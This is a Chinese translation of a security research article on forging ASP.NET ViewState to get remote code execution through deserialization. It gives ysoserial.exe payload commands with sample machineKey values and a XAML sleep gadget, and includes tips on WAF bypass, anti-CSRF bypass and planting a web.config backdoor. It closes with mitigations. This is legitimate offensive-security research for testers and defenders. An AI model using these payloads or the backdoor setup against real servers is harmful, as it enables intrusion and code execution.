概述
ASP.NET Web应用程序使用ViewState来维护页面状态,并在Web表单中保留数据。ViewState参数是Base64序列化后的餐胡,通常会在POST请求中通过名为“__VIEWSTATE”的隐藏参数发送。在服务器端,将对这个参数进行反序列化,并检索数据。
通常可以在Web服务器上运行可以伪造有效ViewState的代码。这一过程可以在禁用MAC验证功能或掌握以下内容的情况下进行:
1、.NET Framework 4.5版本之前的验证密钥及其算法;
2、.NET Framework 4.5或更高版本中的验证密钥、验证算法、解密密钥和解密算法。
为了防止操纵攻击,.NET Framework可以签署并加密已经使用LosFormatter类[1]进行序列化的ViewState。然后,使用消息身份验证代码(MAC)验证机制对签名进行验证。ObjectStateFormatter类[2]执行签名、加密和验证任务。执行签名和(或)加密机制所需要的密钥,可以存储在web.config(应用程序级别)或machine.config(主机级别)文件的machineKey部分中。当多个Web服务器通常用于在Web Farm或集群中以负载均衡方式为同一个应用程序提供服务时,通常会出现这种情况。下面展示了使用.NET Framework 2.0版本及以上ASP.NET应用程序的配置文件中主机密钥部分的格式:
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" /> Disabled ViewState MAC Validation
在以前,只需要将enableViewStateMac属性设置为False,即可禁用MAC验证。在2014年9月,Microsoft发布了一个修补程序[3],通过忽略所有版本.NET Framework中的这一属性来强制执行MAC验证。可能我们认为,这样一来,ViewState MAC就不能再被禁用了[4],但实际上,仍然可以通过将AspNetEnforceViewStateMac注册表项设置为0来禁用MAC验证功能:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
或者,向应用程序级web.config文件中添加以下危险的设置,也可以禁用MAC验证:
<configuration> … <appSettings> <add key="aspnet:AllowInsecureDeserialization" value="true" /> </appSettings> </configuration>
要使用这一个未记录的设置(请参阅[5]),其过程与使用此前的enableViewStateMac属性一样简单。具体而言,这是通过查看.NET Framework源代码[6]来确定的。在代码中,也发现了以下注释:“DevDiv #461378: EnableViewStateMac=false can lead to remote code execution”(DevDiv #461378:设置EnableViewStateMac为False可能导致远程代码执行)。
在2013年12月之前,我们大多数人还没有意识到通过VIewState中的反序列化问题执行远程代码的危险性,禁用MAC验证的主要影响如下(参见[8]):
1、在控件中能设置任意值;
2、更改控件状态;
3、执行跨站脚本攻击(XSS)。
在撰写本文时,有一些知名的Web应用程序扫描程序仍然将“在未启用MAC的情况下使用ASP.NET ViewState”评级为低风险或中等风险,这表明这些扫描程序仍然没有正确认识到该问题的实际风险。
· Burp Suite:低风险[9]
· Netsparker:中风险[10]
· Acunetix:中风险[11]
在禁用ViewState MAC验证后,YSoSerial.Net项目[12]可以用于生成LosFormatter Payload作为ViewState,从而在服务器上运行任意代码。
在.NET Framework 4.5版本之前,在禁用MAC验证功能时,__VIEWSTATE参数是可以加密的。需要注意的是,大多数扫描器不会尝试发送未经加密的ViewState参数来识别此漏洞。因此,需要进行手动测试,以检查在加密__VIEWSTATE参数时是否禁用了MAC验证。可以通过在__VIEWSTATE参数中发送一个简单的随机Base64字符串来检查这一点。下面的URL就展示了一个示例:
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
如果目标页响应错误,那么就证明MAC验证功能已经被禁用,否则就不会显示出MAC验证错误的消息。如果使用POST请求,那么__VIEWSTATE参数应该位于请求的正文中。
即使无法查看错误消息的详细信息(也就是无法判断“ViewState MAC验证失败”是否出现),上述测试用例也同样有效。但是,当使用ViewStateUserKey属性时,页面不会忽略错误,并且看不到实际的错误消息,因此难以确定MAC验证是否已经被禁用。
由于目标可能不会在外部发送任何请求,因此自动扫描程序应该使用在服务器端能产生短暂延迟的Payload。这可以通过执行下面的ASP.NET代码来实现,我们以进行10秒延迟作为示例:
System.Threading.Thread.Sleep(10000);
可以使用YSoSerial.Net的ActivitySurrogateSelector工具来执行上述代码。如果需要较短的Payload,修改其他小工具可能比较有效。例如,文本格式运行的小工具可以更改为:
string xaml_payload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib""> <ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" > <ObjectDataProvider.MethodParameters> <System:Int32>10000</System:Int32> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>";
启用ViewState MAC验证
在启用MAC验证功能时,需要预先掌握配置文件(web.config or machine.config)的machineKey部分中使用的验证和解密密钥及算法。如前所述,这是自2014年9月以来所有版本.NET Framework的默认配置。下面是一个示例的machineKey部分:
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
值得关注的是,当尚未在配置文件中定义machineKey部分,或者将validationKey和decryptionKey属性设置为AutoGenerate时,应用程序会基于加密随机Secret动态生成所需的值。算法也可以自动进行选择。目前在最新版本的.NET Framework中,默认的验证算法是HMACSHA256,默认的解密算法是AES。有关更详细的信息,请参见[13]。
自4.5版本以来,.NET Framework对序列化对象进行签署和加密的方式已经更新。因此,了解目标应用程序的框架版本对于创建有效的Payload来说非常重要。下面的machineKey部分展现了选择.NET Framework 4.5或更高版本的示例(请参见[14]):
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" compatibilityMode="Framework45" />
在旧版本(4.5版本之前)中,.NET Framework在签署序列化对象时,使用TemplateSourceDirectory属性[15]。但是从4.5版本开始,它使用Purpose字符串来创建哈希。这两种机制都需要来自应用程序目录的根目录和页面名称的目标路径。可以从URL中提取这些参数。
使用旧框架并强制执行ViewState加密的应用程序仍然可以接受未加密的签名后ViewState。这意味着,如果攻击者掌握验证密钥及其算法,就足以对网站进行漏洞利用。从4.5版本开始,默认情况下的ViewState是已经加密的,即使viewStateEncryptionMode属性设置为Never也是如此。这意味着,在最新版本的.NET Framework中,还需要解密密钥及其算法才能创建Payload。
在ASP.NET ViewState中,包含一个名为ViewStateUserKey的属性[16],可以用于减少跨站请求伪造(CSRF)攻击[4]的风险。当ViewStateUserKey属性的值不为NULL时,其值也在ViewState签名过程中使用。尽管不知道此参数的值是否可以阻止我们的攻击,但该值通常可以在Cookie或隐藏的输入参数中找到(例如[17]中所展示的示例)。
利用YSoSerial.Net插件
我创建了ViewState YSoSerial.Net插件,以便在启用MAC验证时创建ViewState Payload,并且我们已经掌握Secrets。该插件支持main和v2分支([18]和[19])。
该插件支持以下参数:
–examples 展示一些示例,其他参数将会被忽略。
-g,–gadget=VALUE 一个支持LosFormatter的小工具链,默认值为ActivitySurrogateSelector。
-c,–command=VALUE 适合所有小工具的命令(将被ActivitySurrogateSelector忽略)。
–upayload=VALUE 无符号的LosFormatter Payload,使用Base64编码,小工具和命令参数将被忽略。
–generator=VALUE 以十六进制表示的__VIEWSTATEGENERATOR值,适用于4.0及以下版本.NET。当该值不为NULL时,“legacy”将被使用,“path”和“apppath”将被忽略。
–path=VALUE 目标网页,示例:/app/folder1/page.aspx
–apppath=VALUE 应用程序路径,这是为模拟TemplateSourceDirectory所必要的。
–islegacy 当提供时,它使用legacy算法,适用于4.0及以下版本.NET。
–isencrypted 将在legacy算法时使用,用于绕过WAF。
–viewstateuserkey=VALUE 用于设置ViewStateUserKey参数,有时用来对抗CSRF令牌。
–decryptionalg=VALUE 加密算法可以设置为DES、3DES、AES,默认值为AES。
–decryptionkey=VALUE 来自web.config文件中machineKey的decryptionKey属性。
–validationalg=VALUE 验证算法,可以设置为SHA1、HMACSHA256、HMACSHA384、HMACSHA512、MD5、3DES、AES,默认为HMACSHA256。
–validationkey=VALUE 来自web.config文件中machineKey的validationKey属性。
–isdebug 展示有用的调试消息。
创建ViewState Payload的一些示例如下。
针对.NET Framwork 4.5及以上版本:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
针对.NET Framwork 4.0及以下版本:
(在这里,不需要decryptionKey及其算法)
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" –isdebug
除了使用不同的小工具外,还可以使用__VIEWSTATEGENERATOR参数来替代提供的路径:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
在这里,默认使用ActivitySurrogateSelector小工具,需要编译YSoSerial.Net项目中的ExploitClass.cs类。当decryptionKey值已知时,ViewState Payload也可以加密以逃避WAF:
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
ViewStateUserKey参数也可以作为参数提供。
如前所述,为了创建有效的ViewState,找到应用程序路径的根是非常重要的,除非:
1、该应用程序使用.NET Framework 4.0版本或以下;
2、__VIEWSTATEGENERATOR参数是已知的。
在这种情况下,可以使用—generator参数。–isdebug参数可以用于检查插件是否在提供—path和—apppath参数时计算相同的__VIEWSTATEGENERATOR参数。
创建的插件需要在全部自动为大写或者小写的情况下处理请求。下面的URL展示了一个示例ASP.NET页面,以使这一过程变得更加清晰:
http://victim.com/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4/page.aspx
下面的截图中展示了IIS中的路径树:
如果你不熟悉IIS中的虚拟目录和应用程序专有名词,可以阅读[20]。
为了生成上述URL的Viewstate,–path和–apppath参数应该如下所示:
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4 --apppath=/app2/
如果我们不知道“app2”是应用程序名称,我们可以反复试验,逐一测试URL中的所有目录名称,直到找到可以在服务器上执行代码的ViewState。在此过程中,可能由于获取DNS请求而导致延误。
需要注意的是,由于YSoSerial.Net中使用的小工具的性质,即使在服务器端成功执行了漏洞利用,目标ASP.NET页面也会始终响应错误。
针对旧版本的漏洞利用
在撰写本文时,未发现任何小工具可以对.NET Framework 1.1版本实现漏洞利用。
为了针对使用.NET Framework 4.0或更低版本的应用程序实现漏洞利用,可以使用YSoSerial.Net 2.0分支[21]。但是,该项目仅支持有限数量的小工具,并且还要求目标安装.NET Framework 3.5或更高版本。显然,这并不是理想的,但是它已经在一个过时的Windows 2003主机上进行了测试,该主机上安装了以下软件包,这是非常常见的:
给测试人员的其他提示
(1)使用GET请求
可以通过GET请求在URL中发送__VIEWSTATE参数。在这里,唯一的限制因素就是URL长度,它限制了可在这里使用的小工具类型。在这项研究中,我设法使用了YSoSerial.Net中的TextFormattingRunProperties小工具,通过在URL中发送Payload的方式来对应用程序实现漏洞利用。
(2).NET Framework 4.5以前版本中的加密
如前文所述,即使ViewStateEncryptionMode属性设置为Always,在使用.NET Framework 4.0或更低版本时也不需要加密__VIEWSTATE参数。ASP.NET通过在请求中查找__VIEWSTATEENCRYPTED参数来判断是否ViewState已经加密。因此,可以通过从请求中删除__VIEWSTATEENCRYPTED参数的方式,来发送未加密的ViewStated。
这也意味着,当验证密钥及其算法被盗时,更改解密密钥或其算法无法阻止攻击。
可以加密__VIEWSTATE参数以绕过任何WAF。
(3)绕过反CSRF(反XSRF)机制
当使用无效的__VIEWSTATE参数时,ASP.NET页面会产生错误。但是,当Request.Form直接在代码中使用时,页面仍然可以接收其输入,例如使用Request.Form["txtMyInput"]而不是txtMyInput.Text。可以通过从请求中删除__VIEWSTATE参数,或添加带有无效值的__PREVIOUSPAGE参数,来实现CSRF攻击。由于__PREVIOUSPAGE参数已经加密,并且默认情况下为Base64格式,因此即使提供单个字符作为其值,也应该会导致错误。
这可能会有助于绕过通过设置Page.ViewStateUserKey参数而实现的反CSRF保护机制。
(4)ViewStateGenerator参数的用法
当__VIEWSTATEGENERATOR参数已知时,它可以用于使用.NET Framework 4.0及以下版本的ASP.NET应用程序,以便在不知道应用程序路径的情况下对序列化对象进行签名。
(5)ViewState分块绕过WAF
当MaxPageStateFieldLength属性设置为正值时,可以将__VIEWSTATE参数分解为多个部分。其默认值为负,这意味着__VIEWSTATE参数不能分为多个部分。
当允许ViewState分块时,可能会有助于绕过某些WAF。
(6)利用EventValidation参数
__EVENTVALIDATION参数和一些其他参数也与__VIEWSTATE参数进行类似的序列化,并且可以类似的被定向。通过__EVENTVALIDATION进行反序列化漏洞利用将受到更多限制,具体需要:
1、POST请求;
2、一个接受输入参数的ASP.NET页面;
3、有效的输入参数名称。
在利用__EVENTVALIDATION参数时,__VIEWSTATE参数的值在请求中可以为空,但它必须存在。
.NET Framework 4.5及更高版本中,用于创建有效签名的Purpose字符串根据使用参数的不同而有所不同。下表展示了.NET Framework中定义的Purpose字符串:
输入参数 Purpose字符串 “__VIEWSTATE” WebForms.HiddenFieldPageStatePersister.ClientState “__EVENTVALIDATION” WebForms.ClientScriptManager.EventValidation P2 in P1|P2 in “__dv” + ClientID + “__hidden” WebForms.DetailsView.KeyTable P4 in P1|P2|P3|P4 in “__CALLBACKPARAM” WebForms.DetailsView.KeyTable P3 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden” WebForms.GridView.SortExpression P4 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden” WebForms.GridView.DataKeys
(7)注意PreviousPage参数
当具有无效数据的请求中存在__PREVIOUSPAGE参数时,应用程序不会反序列化__VIEWSTATE参数。提供__CALLBACKID参数可以防止此类行为。
(8)使用Web.Config作为后门
如果攻击者可以更改应用程序根目录中的web.config,那么就可以轻松地在服务器上运行代码。但是,在应用程序中嵌入隐藏的后门可能会是攻击者的一个不错选择。这一过程可以通过禁用MAC验证并将viewStateEncryptionMode的属性设置为Always来完成。这意味着,所有未将ViewStateEncryptionMode属性设置为Auto或Never的ASP.NET页面始终使用加密的ViewState参数。但是,由于ViewState不使用MAC验证功能,因此它们现在很容易通过反序列化不受信任的数据来执行远程代码。下面是一个示例:
<configuration> … <system.web> … <pages enableViewStateMac="false" viewStateEncryptionMode="Always" /> </system.web> <appSettings> <add key="aspnet:AllowInsecureDeserialization" value="false" /> </appSettings> </configuration>
作为独立的房展,还有另一个选择,可以使用任意键和算法设置machineKey部分,以阻挡其他攻击者。
(9)禁用ViewState
需要注意的是,将EnableViewState属性设置为False并不会阻止此攻击,因为ASP.NET仍将解析ViewState。
(10)错误可靠性
如前文所述,我们有时会使用错误来检查生成的ViewState是否有效。使用无效的__VIEWSTATEGENERATOR参数时,ASP.NET默认不会显示MAC验证错误。使用ViewStateUserKey属性时,此行为将会更改,因为ASP.NET将不会不显示MAC验证错误。
除此之外,即使使用ViewStateUserKey属性,ASP.NET Web应用程序也可以使用以下设置来忽略MAC验证错误:
<appSettings> <add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" /> </appSettings>
这种不同的行为可以使用错误消息的自动化测试来变得复杂,特别是在使用自定义错误页面时。
安全建议
要降低此类攻击的风险,可以遵循以下安全建议:
1、确保已经启用MAC验证。
2、如果ViewState参数仅在一台计算机上使用,需要确保在每个应用程序的运行时动态生成MachineKey参数。
3、加密任何敏感参数,例如配置文件中的machineKey部分。
4、考虑使用ViewStateUserKey属性,其值可以由两部分组成:用作反CSRF保护机制的第一部分可以向用户公开,随机且不可预测的第二部分应该在服务器端存储并严格保密。
5、需要重新生成任何已经暴露的验证或解密密钥。
6、确保使用自定义错误页面,并且用户无法看到实际的ASP.NET错误消息。
以往研究
通过ViewState利用不受信任的数据反序列化并不是一种新型攻击方式,在撰写本文时,至少距离首次公开已经有5年的时间。
2014年11月,Alexandre Herzog发表了一篇有趣的演讲,涉及到在某些页面中禁用MAC验证时利用SharePoint中的反序列化问题[23]。似乎他曾经使用James Forshaw的研究成果[24]来伪造他的漏洞,并且于2012年9月向微软报告。
微软在2013年12月发布了ASP.NET 4.5.2更新[25],以消除.NET应用程序禁用MAC验证功能的能力,因为它可能导致远程代码执行。该补丁在2014年9月进行了扩展,涵盖了.NET Framework的所有版本。
Alvaro Muñoz & Oleksandr Mirosh在2017年的BlackHat上发布了他们的小工具后,公开了这种简单的漏洞利用机制[26]。然后,可以使用YSoSerial.Net项目来创建LosFormatter类Payload。
2017年11月,Jonathan Birch在BlackHat v17中直接提到通过ViewState利用ASP.NET Web应用程序[27],并且在2018年4月的LOCOMOCO会议中Alvaro Muñoz也对其进行了说明。
其他工具
Immunity Canvas似乎支持在验证和加密密钥时创建ViewState参数,可以使用以下工具:
https://github.com/0xACB/viewgen(使用Python)
https://github.com/Illuminopi/RCEvil.NET(使用.NET)
这些工具目前不区分不同版本的.NET Framework,并且是针对传统加密方式。此外,它们没有使用ViewStateUserKey参数来阻止CSRF攻击。
致谢
感谢NCC团队和我的同事们在此项研究中所提供的支持,感谢Alvaro Muñoz允许我阅读他的代码并帮助我更新了YSoSerial.Net项目。
参考文章
[1] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter
[2] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter
[3] https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/
[4] https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET
[5] https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120)
[6] https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59
[7] https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034
[8] https://www.troyhunt.com/understanding-and-testing-for-view/
[9] https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled
[10] https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/
[11] https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/
[12] https://github.com/pwntester/ysoserial.net/
[13] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection
[14] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode
[15] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory
[16] https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10)
[17] https://software-security.sans.org/developer-how-to/developer-guide-csrf
[18] https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs
[19] https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs
[20] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis
[21] https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2
[22] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/
[23] https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20
[24] https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf
[25] https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247
[26] https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
[27] https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
[28] https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54